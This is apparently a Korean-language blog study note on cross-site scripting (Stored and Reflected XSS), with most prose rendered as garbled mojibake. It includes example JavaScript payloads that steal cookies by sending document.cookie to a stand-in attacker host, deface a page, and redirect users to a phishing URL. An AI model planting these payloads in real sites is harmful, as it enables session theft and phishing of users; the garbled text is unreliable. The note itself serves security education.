XSS(Cross Site Scripting)์ด๋?
XSS๋ ์น ํ์ด์ง์ ์ด์ฉ์๋ฅผ ๋์์ผ๋ก ๊ณต๊ฒฉํ ์ ์๋ ์ทจ์ฝ์ !
ํด๋น ์ข ๋ฅ์ ์ทจ์ฝ์ ์ ํตํด ์ด์ฉ์๋ฅผ ์๋ณํ ์ธ์ ๋ฐ ์ฟ ํค ์ ๋ณด ํ์ทจ, ํด๋น ๊ณ์ ์ ์์ ๊ธฐ๋ฅ ์ํํจ
Cross Site Scripting์ ์ฝ์ด๊ฐ XSS์ธ ์ด์
Cross Site Scripting์ ์ฝ์ด๋ CSS๊ฐ ์ณ์ง๋ง, ์คํ์ผ์ํธ๋ฅผ ์ ์ํ๋ ์ธ์ด
CSS์์ ์ค๋ณต๊ณผ ํผ๋์ผ๋ก XSS๋ก ๋ช ๋ช ๋์์ต๋๋ค ใ
XSS
XSS๋ ํด๋ผ์ด์ธํธ ์ฌ์ด๋ ์ทจ์ฝ์ ์ ๋ํ์ ์ธ ์ทจ์ฝ์ ์
๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์น ๋ฆฌ์์ค์ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์
ํด ์ด์ฉ์์ ์น ๋ธ๋ผ์ฐ์ ์ ํด๋น ์คํฌ๋ฆฝํธ ์คํํ ์ ์์ง์
๊ณต๊ฒฉ์๋ ํด๋น ์ทจ์ฝ์ ์ ํตํด ์ธ์
์ ๋ณด ํ์ทจ ํด๋น ๊ณ์ ์ผ๋ก ์์์ ๊ธฐ๋ฅ์ ์ํํฉ๋๋ค.
์๋ก ์์ ๊ฐ์ ์ด๋ฏธ์ง๊ฐ ์์ต๋๋ค. ์ค๋ฆฌ์ง ๊ถํ์ผ๋ก ์
์ฑ ์คํฌ๋ฆฝํธ ์ฝ์
์ดํ ์ด์ฉ์๊ฐ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋ ํ์ด์ง ๋ฐฉ๋ฌธ ํ
๊ณต๊ฒฉ์๊ฐ ์์๋ก ์ฝ์
ํ ์คํฌ๋ฆฝํธ ์คํ ์ฟ ํค ๋ฐ ์ธ์
ํ์ทจ ์ด๋ฌํ ์ํํ ๋ฌธ์ ๊ฐ ์์ต๋๋ค.
ํด๋น ์ทจ์ฝ์ ์ SOP ๋ณด์ ์ ์ฑ
์ ๋ฑ์ฅ์ผ๋ก ์๋ก ๋ค๋ฅธ ์ค๋ฆฌ์ง์์๋ ์ ๋ณด ์ฝ๊ธฐ ํ์๊ฐ ํ๋ค์ด์ง๋๋ค.
๊ทธ๋ฌ๋ ์ด๋ฅผ ์ฐํํ๋ ๋ค์ํ ๊ธฐ์ ์ด ์๊ฐ๋๋ฉฐ XSS ๊ณต๊ฒฉ์ ์ง์๋๊ณ ์์ต๋๋ค.
์ด์ ํด๋น ์ทจ์ฝ์ ์ ๋ฐ์ ์ํฉ๊ณผ ์ข
๋ฅ์ ๋ํ์ฌ ์์๋ณผ๊น์?
XSS ๋ฐ์ ์์์ ์ข ๋ฅ
XSS ๊ณต๊ฒฉ์ ์ด์ฉ์๊ฐ ์ฝ์
ํ ๋ด์ฉ์ ์ถ๋ ฅํ๋ ๊ธฐ๋ฅ์์ ๋ฐ์ํฉ๋๋ค.
์์๋ก ๋ณด์ด์คํผ์ฑ์ด๋ ์คํธ ๋ฑ์ ๊ธฐ๋ณธ์ ์ธ ๋ด์ฉ์ด ๋ํ์ ์ธ ์์์
๋๋ค.
ํด๋ผ์ด์ธํธ๋ HTTP ํ์์ผ๋ก ์น ์๋ฒ์ ๋ฆฌ์์ค๋ฅผ ์์ฒญํ๊ณ ์๋ฒ๋ก๋ถํฐ ๋ฐ์ ์๋ต
์ฆ, HTML, CSS, JS ๋ฑ์ ์น ๋ฆฌ์์ค๋ฅผ ์๊ฐํํ์ฌ ์ด์ฉ์์๊ฒ ๋ณด์ฌ์ค๋๋ค.
์ด๋, ์์ ๊ฐ์ ์ฝ๋๊ฐ ํฌํจ๋ ๊ฒ์๋ฌผ์ ์กฐํํ ๊ฒฝ์ฐ ์ด์ฉ์๋ ๋ณ์กฐ๋ ํ์ด์ง ํ์ธ/์คํฌ๋ฆฝํธ ์คํ์ด ๋จ
์ด๋ ์๋ ์์ ์ด๋ฏธ์ง๋ฅผ ๋ณด์๋ฉด ํ์ธ ํ ์ ์์ต๋๋ค.
XSS๋ ๋ฐ์ ํํ์ ๋ฐ๋ผ ๋ค์ํ ์ข ๋ฅ๋ก ๊ตฌ๋ถ๋ฉ๋๋ค. ์๋ก ํ๋ฅผ ๋ณด์๊ณ ์ฐธ๊ณ ํ์๋ฉด ๋ฉ๋๋ค ใ
XSS ์คํฌ๋ฆฝํธ์ ์์
JS๋ ์น ๋ฌธ์์ ๋์์ ์ ์ํ๋ฉฐ, ์ด๋ ์ด์ฉ์๊ฐ ๋ฒํผ ํด๋ฆญ ์์ ์ด๋ค ์ด๋ฒคํธ๋ฅผ ๋ฐ์์ํฌ์ง์
๋ฐ์ดํฐ ์
๋ ฅ ์ ํด๋น ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ ์ด๋ฒคํธ๋ฅผ ๊ตฌํํ ์ ์์ต๋๋ค.
์ด๋ฌํ ๊ธฐ๋ฅ ์ธ์๋ ์ด์ฉ์์์ ์ํธ ์์ฉ ์์ด ์ด์ฉ์์ ๊ถํ์ผ๋ก ์ ๋ณด ์กฐํ, ๋ณ๊ฒฝ ๋ฑ์ ํ์๊ฐ ์์ฃ
์ด๋ฐ ์กฐ์์ด ๊ฐ๋ฅํ ์ด์ ๋ ์๋ณ์์ธ ์ธ์
๋ฐ ์ฟ ํค๊ฐ ์น ๋ธ๋ผ์ฐ์ ์ ์ ์ฅ๋์ด ์๊ธฐ ๋๋ฌธ!
๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ JS๋ฅผ ํตํด ๋ค์ํ ํ์๋ฅผ ํ๋ฉฐ, ์กฐ์ ํ ์ ์์ต๋๋ค.
JS๋ ๋ค์ํ ๋์์ ์ ์ํ๊ธฐ์ XSS๊ณต๊ฒฉ์ ์ฃผ๋ก ์ฌ์ฉ๋๋ฉฐ ํ๊ทธ๋ก <script>๊ฐ ์์ต๋๋ค.
์๋ ์ฝ๋๋ค์ JS๋ฅผ ์ด์ฉํ XSS ๊ณต๊ฒฉ ์ฝ๋ ์์์
๋๋ค.
์ฟ ํค ๋ฐ ์ธ์ ํ์ทจ ๊ณต๊ฒฉ ์ฝ๋
<script>
// "hello" ๋ฌธ์์ด alert ์คํ.
alert("hello");
// ํ์ฌ ํ์ด์ง์ ์ฟ ํค(return type: string)
document.cookie;
// ํ์ฌ ํ์ด์ง์ ์ฟ ํค๋ฅผ ์ธ์๋ก ๊ฐ์ง alert ์คํ.
alert(document.cookie);
// ์ฟ ํค ์์ฑ(key: name, value: test)
document.cookie = "name=test;";
// new Image() ๋ ์ด๋ฏธ์ง๋ฅผ ์์ฑํ๋ ํจ์์ด๋ฉฐ, src๋ ์ด๋ฏธ์ง์ ์ฃผ์๋ฅผ ์ง์ . ๊ณต๊ฒฉ์ ์ฃผ์๋ http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=ํ์ฌํ์ด์ง์์ฟ ํค" ์ฃผ์๋ฅผ ์์ฒญํ๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์ ์ฃผ์๋ก ํ์ฌ ํ์ด์ง์ ์ฟ ํค ์์ฒญํจ
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
ํ์ด์ง ๋ณ์กฐ ๊ณต๊ฒฉ ์ฝ๋
<script>
// ์ด์ฉ์์ ํ์ด์ง ์ ๋ณด์ ์ ๊ทผ.
document;
// ์ด์ฉ์์ ํ์ด์ง์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์
.
document.write("Hacked By DreamHack !");
</script>
์์น ์ด๋ ๊ณต๊ฒฉ ์ฝ๋
<script>
// ์ด์ฉ์์ ์์น๋ฅผ ๋ณ๊ฒฝ.
// ํผ์ฑ ๊ณต๊ฒฉ ๋ฑ์ผ๋ก ์ฌ์ฉ๋จ.
location.href = "http://hacker.dreamhack.io/phishing";
// ์ ์ฐฝ ์ด๊ธฐ
window.open("http://hacker.dreamhack.io/")
</script>
Stored XSS
ํด๋น ์ทจ์ฝ์ ์ ์๋ฒ์ DB ๋๋ ํ์ผ ๋ฑ์ ํํ๋ก ์ ์ฅ๋ ์
์ฑ ์คํฌ๋ฆฌ๋ธ ์กฐํ ์ ๋ฐ์ํจ
๋ํ์ ์ผ๋ก ๊ฒ์๋ฌผ๊ณผ ๋๊ธ์ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจ ์
๋ก๋ํ๋ ๋ฐฉ์์ด์ฃ
๊ฒ์๋ฌผ์ ๋ถํน์ ๋ค์์๊ฒ ๋ณด์ฌ์ง๊ธฐ ๋๋ฌธ์ ํด๋น ๊ธฐ๋ฅ์ XSS ์ทจ์ฝ์ ์ด ์กด์ฌ์ ํ๊ธ๋ ฅ ↑
์๋ ์ด๋ฏธ์ง๋ ์์๋ก์จ, <script> ํ๊ทธ ๋๋ HTML ํ๊ทธ๋ฅผ ์ฝ์
ํ๊ณ ๋ฐํ๋๋ HTML ์ฝ๋๋ฅผ
ํ์ธํจ์ผ๋ก์จ Stored XSS์ ๋ฐ์ ํํ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
๋๋ฅด๋ฉด ์ง๊ธ์ ๋ชจ๋ฌ์ฐฝ์ ๋จ๊ธฐ๋ง ํ์ง๋ง ์ค์ ๋ก ์ธ์ ๋ฑ์ ์ ๋ณด๋ฅผ ํ์ทจํ๊ฒ ์ฃ ..
Reflected XSS
์๋ฒ๊ฐ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ๋ด๊ธด ์์ฒญ์ ์ถ๋ ฅ ์ ๋ฐ์!
๋ํ์ ์ผ๋ก ๊ฒ์ํ์ ์์ฑ๋ ๊ฒ์๋ฌผ์ ์กฐํํ๊ธฐ ์ํ ๊ฒ์์ฐฝ์ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํด ๊ฒ์ํ๋ ๋ฐฉ์
์ด์ฉ์๊ฐ ๊ฒ์๋ฌผ์ ๊ฒ์ ์ ์๋ฒ๋ ๊ฒ์ ๊ฒฐ๊ณผ๋ฅผ ์ด์ฉ์์๊ฒ ๋ฐํํ๋ ํน์ง์ ์
์ฉํ ์ฌ๋ก์ฃ
Reflected XSS๋ Stored XSS์๋ ๋ค๋ฅด๊ฒ URL๊ณผ ๊ฐ์ ์ด์ฉ์์ ์์ฒญ์ ์ํด ๋ฐ์!
๋ฐ๋ผ์ ๊ณต๊ฒฉ์ ์ํด์ ํ ์ด์ฉ์์๊ฒ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋ ๋งํฌ์ ์ ์ํ๊ฒ ์ ๋ํฉ๋๋ค.
์ฃผ๋ก Click Jacking ๋๋ Open Redirect ๋ฑ ๋ค๋ฅธ ์ทจ์ฝ์ ๊ณผ ์ฐ๊ณํ์ฌ ์ฌ์ฉํ๋ต๋๋ค.
์๋ก ์์ ๋ ๊ฒ์๋ฌผ ์กฐํ ๊ธฐ๋ฅ์ผ๋ก <script>ํ๊ทธ ๋๋.. ๊ทธ๋ฐ ๊ฑธ๋ก Reflected XSS๋ฐ์ํด๋ณผ๊น์?
์ฌ๊ธฐ์ ํด๋ฆฌ๋ฌธ์ ์ง์ ๋ฃ์ด์ ํ๋ ๋ถ๋ถ์ด๋ค์ ๋ณดํต์ ํํฐ๋ง์ผ๋ก ๊ฑฐ๋ฅด๊ธฐ๋ ํ๊ฒ ์ฃ ?
๊ฒฐ๋ก
- Cross Site Scripting (XSS): ํด๋ผ์ด์ธํธ ์ฌ์ด๋ ์ทจ์ฝ์
- ๊ณต๊ฒฉ์๊ฐ ์น ๋ฆฌ์์ค์ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ์ด์ฉ์์ ์น ๋ธ๋ผ์ฐ์ ์์ ํด๋น ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ทจ์ฝ์ - Stored XSS: ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ ๋ด์ ์กด์ฌ
- ์ด์ฉ์๊ฐ ์ ์ฅ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์กฐํํ ๋ ๋ฐ์ - Reflected XSS: ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์ด์ฉ์ ์์ฒญ ๋ด์ ์กด์ฌ
- ์ด์ฉ์๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋ ์์ฒญ์ ๋ณด๋ธ ํ ์๋ต์ ์ถ๋ ฅํ ๋ ๋ฐ์
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โWeb_Study > ๐โDreamhack_Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
SQL Injection (0) | 2022.10.20 |
---|---|
ClientSide: CSRF (0) | 2022.06.23 |
Mitigation: Same Origin Policy (0) | 2022.06.20 |
http vs https (0) | 2022.05.25 |